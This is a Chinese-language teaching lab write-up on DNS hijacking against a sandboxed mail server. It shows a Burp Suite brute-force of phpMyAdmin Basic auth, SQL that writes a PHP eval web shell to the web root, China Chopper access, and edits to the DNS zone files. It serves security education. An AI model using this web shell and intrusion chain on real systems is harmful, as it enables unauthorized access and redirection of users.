实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:信息网络安全概论
实验时数(学分):1学时
实验类别:实践实验类
了解域名及域名劫持
由于点分十进制的IP地址难于记忆,便出现了域名。由于网络传输中最终还是基于IP,所以必须通过一种机制将IP和域名一一对应起来,这便是DNS。全球总共有13台根域名服务器。
域名劫持是互联网攻击中常见的一种攻击方式,攻击者通过对DNS服务器进行攻击,或伪造DNS将目标站点解析到别的地址,用户访问该域名时被重定向到别的站点。在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。
域名劫持的原理
域名劫持的基本原理是用户输入要访问的域名,请求DNS服务器遍历DNS数据库,查找该域名对应的IP地址,将其结果返回给用户。在DNS服务器遍历DNS数据库时,如果修改了该域名对应的IP,便实现了域名劫持。简单来说就是:本来一个域名对应一个IP,当这个域名对应到别的IP上就称为域名劫持。如果知道该域名的真实IP地址,则可以直接用此IP代替域名后进行访问。
通过该实验了解域名劫持的原理,完成对邮件服务器的劫持。
邮件服务器:Win2003,IP地址:10.1.1.10
另一台主机地址:10.1.1.253
测试者:win7,IP地址随机
实验中提供了一台邮件服务器,该服务器同时提供DNS服务,测试者通过入侵到该服务器,修改DNS服务中的正向解析与反向解析文件实现劫持。
首先我们打开 http://mail.test.com,看到一个邮件登录入口。
这里我们先使用burpsuite对该站点进行目录扫描。
1、配置好IE代理,截取数据包。
配置代理
选择高级--网络 --设置
选择手动配置代理,输入http代理与端口号,点击确定
打开burpsuite,以便对该站点进行目录扫描
浏览器刷新一下,burpsuite获取数据包
2、右键send to spider。
右键send to spider。
其后所得,点击Submit from
则spider正在监听
打开Target目标栏
3、发现存在phpmyadmin。如果自己的界面没有出现,要要做一些小小的处理,找出隐藏的phpmyadmin菜单栏。方法:单击Filter,出现界面之后,将Hide empty folders(隐藏空文件夹)的勾去掉,然后点击空白处即可。
单击Filter
把后面的Hide empty folders隐藏空文件夹前面的勾选去掉
然后也不用点击show all 或者 Hide all ,只要点击一下空白处即可,然后被隐藏的phpmyadmin即可出现在页面
4、然后在地址栏添加phpmyadmin方法,在Burp Suite界面需要把 intercept is on先关一下,然后我们再次来到火狐浏览器,在上次输入的http://mail.test.com后面加上/phpmyadmin,然后回车,如图:
5、接下来对phpmyadmin进行暴力破解,随便输入一个用户名和密码,比如此处我输入:用户名:root 密码:123,页面提示错误,然后查看burpsuite截获到的数据包。这个地方再打开,intercept is on 然后刷新,然后查看burpsuite截获到的数据包。
6、找到Authorization,选中Basic后边的字符串,进行如下步骤:右键convert selection->base64->base64-decode。
7、可以看到刚才输入的用户名和密码。
8、右键send to intruder,在Positions选项卡下单击clear$。
9、选中root:123,单击add$。
然后就变成了这样子
10、切换到payloads选项卡下,设置payload type,在add处添加用户名,separator for position1 处添加一个冒号。
、
11、加载桌面上一个密码字典pass.txt,配置如下。
12、配置payload processing,如下图:
配置之后的结果
下面是实验书上的过程:
13、去掉payload encoding中的对号。
14、单击intruder下的start attack,一段时间后,发现了一个length和其他的不同。
不同:
15、双击打开,复制红色区域的字符串。
就是Basic后面的那些
16、粘贴在decoder下,选择decode as base64,可以看到用户名密码为root:1234567890,登录。
实验步骤二
17、接下来需要知道网站的路径是什么,一般网站搭建好后都会存在info.php,phpinfo.php,php_info.php等测试文件,一一访问下,发现存在phpinfo.php文件,并得知网站目录为C:/xampp/xampp/htdocs。这个路径要先同之前一样关掉intercept is on然后打开浏览器,登录,登陆的时候用上面查询出来的用户名和密码,然后打开intercept is on,重新登录,刷新,打开下图网站
18、此时需要通过phpmyadmin拿这个站点的shell,选择SQL,输入如下命令,点击执行:
use mysql; //使用Mysql数据库
Create TABLE heetian (heetian1 text NOT NULL); //创建heetian表,heetian1字段
Insert INTO heetian(heetian1) VALUES('<?php @eval($_POST[pass]);?>'); //在heetian表中的heetian1字段中添加值为一句话
select heetian1 from heetian into outfile 'C:/xampp/xampp/htdocs/test.php'; //使用Mysql中outfile函数将其导出到test.php
Drop TABLE IF EXISTS heetian; //删除heetian表
返回结果如下:
19、执行成功,访问下http://mail.test.com/test.php。
20、发现返回空白页面,接下来用中国菜刀连接一下。(中国菜刀是个软件)
打开小刀之后右键空白处添加SHELL
然后
21、接下来我们需要对这台服务器进行域名劫持,将其劫持到一台IP为10.1.1.253的主机上,找到C:\WINDOWS\system32\dns\etc中的test.com.zone和10.1.1.zone。
22、分别对这两个文件进行编辑,保存。这两个文件是10.1.1.zone和test.com.zone
两个文件都要更改地址为10.1.1.253
23、右键“虚拟终端”。
24、重启下dns服务,输入命令:net stop named和net start named,回车。
25、刷新 http://mail.test.com,发现劫持成功。页面会显示为:“欢迎来到合天网安实验室!”
到此,实现完整的域名劫持过程,试验结束。